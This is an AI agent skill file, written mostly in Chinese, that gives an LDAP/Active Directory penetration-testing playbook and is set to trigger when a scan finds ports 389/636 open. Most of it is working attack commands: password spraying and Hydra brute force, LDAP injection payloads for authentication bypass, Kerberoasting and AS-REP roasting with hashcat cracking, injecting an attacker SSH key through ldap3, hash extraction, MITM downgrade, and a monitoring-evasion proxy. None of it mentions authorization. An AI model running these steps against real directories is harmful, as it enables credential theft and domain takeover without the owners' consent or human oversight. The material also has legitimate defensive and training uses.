ldap-pentesting
$
npx mdskill add wgpsec/AboutSecurity/ldap-pentestingExecute LDAP penetration tests on exposed directory services.
- Recover user groups, computers, and password policies from directories.
- Integrates with LDAP servers on ports 389, 636, 3268, and 3269.
- Decides execution by detecting open ports and testing anonymous binds.
- Outputs attack phases including injection, Kerberoasting, and certificate analysis.
SKILL.md
.github/skills/ldap-pentestingView on GitHub ↗
---
name: ldap-pentesting
description: |
LDAP 服务(389/636/3268/3269 端口)渗透测试方法论。涵盖 LDAP 服务发现与版本识别、匿名绑定测试、目录信息枚举(用户/组/计算机/OU)、LDAP 注入、密码策略提取、Kerberoasting 关联、LDAPS 证书分析。
当 Agent 扫描发现 389/636 端口开放、需要枚举 Active Directory 信息、测试 LDAP 匿名访问、或通过 LDAP 收集域信息时,触发此 Skill。
metadata:
tags:
- ldap
- 目录服务
- 389端口
- 636端口
- active-directory
- ldapsearch
- 匿名绑定
category: exploit/network-service
---
# LDAP 渗透测试方法论 (389/636/3268/3269)
## 深入参考
- LDAP 枚举与利用技术大全(ldapsearch / windapsearch / NetExec / Python / LDAP 注入) -> 读 [references/ldap-techniques.md](references/ldap-techniques.md)
---
## 整体决策树
```
发现 389/636/3268/3269 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ 确定 LDAP 服务类型 (Active Directory / OpenLDAP / 其他)
│ ├─ 获取 Naming Context / Base DN
│ └─ 判断是否启用 LDAPS (636/3269)
│ ├─ 是 -> Phase 7 证书分析 + 仍尝试 389 明文端口
│ └─ 否 -> 可嗅探明文凭据 (MITM)
├─ Phase 2: 匿名绑定测试
│ ├─ 匿名绑定成功 -> 进入 Phase 3 全面枚举
│ └─ 匿名绑定失败
│ ├─ 尝试 TLS SNI 绕过
│ ├─ 尝试已知凭据 / 密码喷洒
│ └─ 转向其他服务获取凭据后回来
├─ Phase 3: 目录枚举
│ ├─ 用户枚举 (sAMAccountName / userPrincipalName)
│ ├─ 组枚举 (Domain Admins / Enterprise Admins / 特权组)
│ ├─ 计算机枚举
│ ├─ OU 结构映射
│ └─ 敏感属性提取 (description / userPassword / sshPublicKey)
├─ Phase 4: LDAP 注入
│ ├─ Web 应用 LDAP 查询注入
│ └─ 盲注 (布尔型 / 错误型)
├─ Phase 5: 密码策略提取
│ ├─ 域密码策略 (lockoutThreshold / maxPwdAge)
│ └─ 细粒度密码策略 (PSO)
├─ Phase 6: Kerberoasting 关联
│ ├─ 查找 SPN 账户 (servicePrincipalName)
│ └─ 查找 AS-REP Roastable 账户 (DONT_REQUIRE_PREAUTH)
└─ Phase 7: 已知漏洞与后渗透
├─ LDAPS 证书分析 (域名 / SAN 泄露)
├─ 可写属性利用 (sshPublicKey / msDS-AllowedToActOnBehalfOfOtherIdentity)
├─ 客户端配置文件泄露 (sssd.conf / nslcd.conf)
└─ LDAP 数据库直接提取 (本地访问)
```
---
## Phase 1: 服务发现与版本识别
### 1.1 端口扫描与脚本枚举
```bash
# Nmap 服务版本探测 + LDAP 脚本
nmap -sV -sC -p 389,636,3268,3269 <IP>
# Nmap LDAP 专项脚本 (排除暴力破解)
nmap -n -sV --script "ldap* and not brute" <IP>
```
### 1.2 获取 Naming Context (Base DN)
```bash
# 查询 Root DSE — 不需要认证
ldapsearch -x -H ldap://<IP> -s base namingcontexts
# 查询完整 Root DSE 信息
ldapsearch -x -H ldap://<IP> -s base '(objectClass=*)' '*' +
```
**关键判断**:
- `defaultNamingContext` -> 域的 Base DN (如 `DC=corp,DC=local`)
- `rootDomainNamingContext` -> 森林根域
- `configurationNamingContext` -> 配置分区,含站点/子网拓扑
- 存在 `forestFunctionality` / `domainFunctionality` -> Active Directory 环境
### 1.3 LDAPS 检测
```bash
# 测试 LDAPS 连接 (636)
nmap -sV -p 636 <IP>
openssl s_client -connect <IP>:636
# 测试 Global Catalog over SSL (3269)
openssl s_client -connect <IP>:3269
```
---
## Phase 2: 匿名绑定测试
### 2.1 匿名绑定决策树
```
尝试匿名绑定
├─ 1) ldapsearch 空凭据
│ └─ ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<DOMAIN>,DC=<TLD>"
│ ├─ 返回数据 -> 匿名绑定成功,进入 Phase 3
│ └─ "bind must be completed" -> 匿名绑定被禁用
├─ 2) TLS SNI 绕过 (LDAPS)
│ └─ ldapsearch -H ldaps://<DOMAIN>:636/ -x -s base -b '' "(objectClass=*)" "*" +
├─ 3) NetExec null bind
│ └─ netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""
│ ├─ 返回对象 -> 匿名绑定成功
│ └─ Operations error -> 需要认证
└─ 4) Python ldap3 库
└─ -> 读 references/ldap-techniques.md #Python枚举
```
### 2.2 已知凭据认证
```bash
# 使用域凭据绑定
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<DOMAIN>,DC=<TLD>"
# Kerberos 认证 (无需明文密码)
ldapsearch -Y GSSAPI -H ldap://<IP> -b "DC=<DOMAIN>,DC=<TLD>"
```
### 2.3 凭据暴力破解
```bash
# Hydra LDAP 暴力破解
hydra -l <username> -P <wordlist> <IP> ldap2 -V -f
# NetExec 密码喷洒
netexec ldap <IP> -u users.txt -p 'Password1' --continue-on-success
```
---
## Phase 3: 目录枚举
### 3.1 全量导出 (ldapdomaindump)
```bash
# 一站式域信息导出 — 生成 HTML/JSON/GREP 格式
pip3 install ldapdomaindump
ldapdomaindump <IP> -u '<DOMAIN>\<user>' -p '<password>' --no-json --no-grep [-o output_dir]
```
### 3.2 用户枚举
```bash
# 提取所有用户
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Users,DC=<DOMAIN>,DC=<TLD>" "(objectClass=person)" \
sAMAccountName userPrincipalName memberOf description
# 提取 Domain Admins 组成员
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Domain Admins,CN=Users,DC=<DOMAIN>,DC=<TLD>"
# 提取 Enterprise Admins
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Enterprise Admins,CN=Users,DC=<DOMAIN>,DC=<TLD>"
# 提取 Administrators
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Administrators,CN=Builtin,DC=<DOMAIN>,DC=<TLD>"
```
### 3.3 计算机与 OU 枚举
```bash
# 提取计算机对象
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Computers,DC=<DOMAIN>,DC=<TLD>" "(objectClass=computer)" \
cn operatingSystem operatingSystemVersion dNSHostName
# 提取 OU 结构
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=organizationalUnit)" ou distinguishedName
```
### 3.4 NetExec 枚举 (匿名 / 认证)
```bash
# 匿名枚举对象
netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""
# 匿名提取用户名列表
netexec ldap <IP> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
# 认证枚举 + BloodHound 数据采集
netexec ldap <IP> -u <USER> -p <PASS> --bloodhound -c All -d <DOMAIN> \
--dns-server <IP> --dns-tcp
```
### 3.5 windapsearch
```bash
# 获取域管理员
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --da
# 获取特权用户
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --privileged-users
# 获取所有用户/组/计算机
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --users
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --groups
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --computers
```
### 3.6 敏感属性搜索
```
敏感属性检查
├─ description 字段 -> 管理员常在此存放临时密码
├─ userPassword 属性 -> OpenLDAP 环境可能存在
├─ unixUserPassword -> Linux 集成环境
├─ sshPublicKey -> SSH 公钥,可写则可劫持
├─ msDS-AllowedToActOnBehalfOfOtherIdentity -> RBCD 攻击面
└─ adminCount=1 -> 标记受 AdminSDHolder 保护的高权限账户
```
```bash
# 搜索 description 字段含密码线索
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" "(&(objectClass=user)(description=*))" \
sAMAccountName description
# 搜索含 userPassword 属性的对象
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" "(&(objectClass=person))" userPassword
```
---
## Phase 4: LDAP 注入
### 4.1 注入原理
Web 应用通过拼接用户输入构建 LDAP 查询时,可注入恶意过滤器。
### 4.2 注入测试决策树
```
发现 Web 应用使用 LDAP 后端认证/查询
├─ 认证绕过
│ ├─ 用户名: * 密码: * -> 通配符绕过
│ ├─ 用户名: admin)(|(password=* -> 过滤器注入
│ └─ 用户名: admin)(&) -> 恒真条件
├─ 信息泄露 (盲注)
│ ├─ 布尔型: 逐字符猜解属性值
│ │ └─ (&(uid=admin)(userPassword=a*)) -> 响应差异判断
│ └─ 错误型: 构造畸形过滤器触发错误信息
└─ 常见注入字符: * ( ) \ / NUL
```
### 4.3 常见 Payload
```
# 认证绕过
user=*)(uid=*))(|(uid=*
pass=anything
# 属性枚举 (盲注)
(&(uid=admin)(userPassword=FUZZ*))
(&(uid=admin)(description=FUZZ*))
# 通配符测试
(&(objectClass=*)(uid=*))
```
**注意**:LDAP 注入在现代框架中已较少见,但在内部遗留应用和嵌入式设备管理界面中仍可能存在。
---
## Phase 5: 密码策略提取
### 5.1 域默认密码策略
```bash
# 通过 LDAP 查询域密码策略
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=domain)" \
minPwdLength maxPwdAge minPwdAge lockoutThreshold lockoutDuration \
pwdHistoryLength pwdProperties
# NetExec 查询
netexec ldap <IP> -u <USER> -p <PASS> --pass-pol
```
### 5.2 细粒度密码策略 (PSO)
```bash
# 查询 Password Settings Objects
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "CN=Password Settings Container,CN=System,DC=<DOMAIN>,DC=<TLD>" \
"(objectClass=msDS-PasswordSettings)" \
msDS-LockoutThreshold msDS-MinimumPasswordLength msDS-PSOAppliesTo
```
**关键判断**:
- `lockoutThreshold=0` -> 无锁定策略,可安全暴力破解
- `lockoutThreshold>0` -> 记录阈值和 `lockoutObservationWindow`,控制喷洒速率
- PSO 可能对特权账户设置更严格策略
---
## Phase 6: Kerberoasting 关联
### 6.1 查找 SPN 账户
```bash
# 查找设置了 SPN 的用户账户 (非计算机账户)
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" \
"(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))" \
sAMAccountName servicePrincipalName memberOf
# windapsearch 快捷方式
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --da
```
**关键判断**:
- SPN 账户属于高权限组 -> 高价值 Kerberoasting 目标
- `pwdLastSet` 较旧 -> 密码可能较弱,更易破解
### 6.2 查找 AS-REP Roastable 账户
```bash
# 查找未启用 Kerberos 预认证的账户 (UAC flag 0x400000)
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
-b "DC=<DOMAIN>,DC=<TLD>" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName userAccountControl
```
### 6.3 后续攻击
```
Kerberoasting 路径
├─ 找到 SPN 账户 -> GetUserSPNs.py 请求 TGS
│ └─ impacket-GetUserSPNs -dc-ip <IP> <DOMAIN>/<user>:<pass> -request
├─ 找到 AS-REP Roastable 账户 -> GetNPUsers.py 请求 AS-REP
│ └─ impacket-GetNPUsers -dc-ip <IP> <DOMAIN>/ -usersfile users.txt -no-pass
└─ 获取哈希 -> hashcat / john 离线破解
├─ Kerberoast: hashcat -m 13100 hash.txt wordlist.txt
└─ AS-REP: hashcat -m 18200 hash.txt wordlist.txt
```
---
## Phase 7: 已知漏洞与后渗透
### 7.1 LDAPS 证书分析
```bash
# 提取 LDAPS 证书信息
openssl s_client -connect <IP>:636 </dev/null 2>/dev/null | openssl x509 -noout -text
# 关注项:
# - Subject / SAN: 泄露内部域名、主机名
# - Issuer: 内部 CA 信息
# - Validity: 过期证书可能接受任意证书 (MITM)
```
### 7.2 可写属性利用
```
发现 LDAP 可写权限
├─ sshPublicKey 可写 -> 注入攻击者公钥,SSH 登录目标
├─ msDS-AllowedToActOnBehalfOfOtherIdentity 可写 -> RBCD 攻击
├─ servicePrincipalName 可写 -> Targeted Kerberoasting
├─ userAccountControl 可修改 -> 禁用预认证 (AS-REP Roasting)
└─ member 属性可写 -> 将自身添加到特权组
```
```python
# Python ldap3 — 写入 sshPublicKey 示例
import ldap3
server = ldap3.Server('<IP>', port=636, use_ssl=True)
conn = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=TLD', 'PASSWORD', auto_bind=True)
conn.modify('uid=TARGET,ou=USERS,dc=DOMAIN,dc=TLD', {
'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA...attacker_key'])]
})
```
### 7.3 Linux 客户端配置泄露
```bash
# 检查 LDAP 客户端配置文件
ls -la /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null
# 搜索明文绑定凭据
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
/etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null
```
**关键检查项**:
- `sssd.conf` / `nslcd.conf` 全局可读 -> 明文绑定凭据泄露
- `ldap_default_bind_dn` + `ldap_default_authtok` -> 可复用的 LDAP 绑定凭据
- 目录集成 SSH/sudo -> 可读配置转化为实际授权影响
### 7.4 LDAP 数据库直接提取 (本地访问)
```bash
# 已获取服务器 shell 后,直接提取 LDAP 数据库中的哈希
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
# 提取的 {SSHA} 哈希可用 john 破解
```
### 7.5 LDAP 流量嗅探与 MITM
```
明文 LDAP (389) 环境
├─ 网络嗅探 -> tcpdump/Wireshark 捕获绑定凭据
├─ MITM 降级攻击
│ ├─ 拦截 LDAP 通信
│ └─ 强制客户端使用简单绑定 (明文密码)
└─ LDAPS 环境 -> 伪造证书 MITM
└─ 客户端不验证证书 -> 降级后嗅探凭据
```
### 7.6 配置文件路径参考
| 配置文件 | 适用环境 |
|---------|---------|
| `slapd.conf` | OpenLDAP |
| `ldap.conf` / `ldap.cfg` | 通用 LDAP 客户端 |
| `containers.ldif` | 通用 |
| `ldap.xml` / `ldap-config.xml` / `ldap-realm.xml` | Java 应用 |
| `msadClassesAttrs.ldif` | Microsoft AD |
| `V3.sas.oc` | IBM SecureWay |
| `nsslapd.sas_at.conf` / `nsslapd.sas_oc.conf` | Netscape Directory |
| `75sas.ldif` | Sun ONE Directory |
---
## 凭据明文嗅探提醒
如果目标使用 **389 端口明文 LDAP**(未启用 STARTTLS),所有绑定操作中的凭据均可被网络嗅探捕获。在渗透测试报告中应标记此风险,即使未直接利用。
---
## 图形化工具
当命令行枚举受限或需要交互式浏览目录树时:
| 工具 | 说明 |
|------|------|
| [Apache Directory Studio](https://directory.apache.org/studio/) | 跨平台 LDAP 浏览器,功能全面 |
| [JXplorer](http://www.jxplorer.org/) | Java LDAP 浏览器 (默认 /opt/jxplorer) |
| [Godap](https://github.com/Macmod/godap) | 终端 TUI,支持 simple bind / PtH / PtT / PtC |
| [Ldapx](https://github.com/Macmod/ldapx) | LDAP 代理,流量混淆绕过监控 |